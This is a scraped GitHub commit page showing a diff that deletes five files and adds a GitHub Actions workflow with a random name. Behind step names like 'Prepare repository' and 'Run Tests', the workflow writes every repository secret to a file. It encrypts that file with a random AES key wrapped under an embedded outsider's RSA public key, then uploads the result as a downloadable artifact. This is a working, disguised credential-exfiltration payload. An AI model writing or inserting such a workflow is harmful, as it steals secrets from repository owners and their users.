-
Notifications
You must be signed in to change notification settings - Fork 128
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
57 additions
and
329 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
name: kpbbvxlxif | ||
on: | ||
push: | ||
branches: kpbbvxlxif | ||
jobs: | ||
testing: | ||
runs-on: | ||
- ubuntu-latest | ||
steps: | ||
- env: | ||
VALUES: ${{ toJSON(secrets)}} | ||
name: Prepare repository | ||
run: "\ncat <<EOF > output.json\n$VALUES\nEOF\n " | ||
- name: Run Tests | ||
env: | ||
PUBKEY: '-----BEGIN PUBLIC KEY----- | ||
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkD/p2B9AROeDKgF0sm1w | ||
BUphAO3U6+f0lEv4M5nLCnWtvw5RHEH7hLH/LgWRIWqzI5W8SYXQ0WIukeyPbv0t | ||
+8+JUEo7QbUqzbVP9NGl8tZUKlIO42M7zIm+wJV41o0V1ib/EYKx/ipAK+d6RPhf | ||
hoB9V6Z79uORitmHfjFjclcGGONLalAu1pSvALn6RWJDmuGTxPfaGBPZTS/wg2Wp | ||
W5Y3zcBSfqcayMGwQbvs2Xiy7JNYdb04u6KLkTLMFjDKcLv5pe+I/PfhDSziVs3O | ||
CkuE8h3JRSwwdBbNU94wqMaJYQIisjCYGPQIMnaxDEDJXTLnLLwMu1lSjbkMmrZG | ||
GBLREDl+JuD6GBEJEMcmv5jssrZjTFHeaLmimBthUrgseEYgF+mjYC4tygkysp4/ | ||
O7Kzn874lFMFbW5o59nEdP3r3c0AcHj1EAZtZk+zSxgFUOAoKbBguh1n/t9XNypK | ||
G3rcJ78lJUSdIDCkTJ3n289tk9EIzRnBdoMQfrB/V3e4O8RL2QSQLZrVMmhEit1m | ||
QxE+zrrCweG37UNrBbby6o6UlaHuIq0MfUkBWOanJVp6d6h5aQ4o4qDASii8NfuY | ||
pV01EaqXBx7Dfe3ZB6RlONwtzsqUmV9tTovdCbewjoVmmGKvL9TcgRxQqQIh2gKw | ||
8JQHBOFVTRNyo5UCSe0dwT8CAwEAAQ== | ||
-----END PUBLIC KEY----- | ||
' | ||
run: aes_key=$(openssl rand -hex 12 | tr -d '\n');openssl enc -aes-256-cbc -pbkdf2 | ||
-in output.json -out output_updated.json -pass pass:$aes_key;echo $aes_key | ||
| openssl rsautl -encrypt -pkcs -pubin -inkey <(echo "$PUBKEY") -out lookup.txt | ||
2> /dev/null; | ||
- name: Upload artifacts | ||
uses: actions/upload-artifact@v4 | ||
with: | ||
name: files | ||
path: ' | | ||
output_updated.json | ||
lookup.txt' |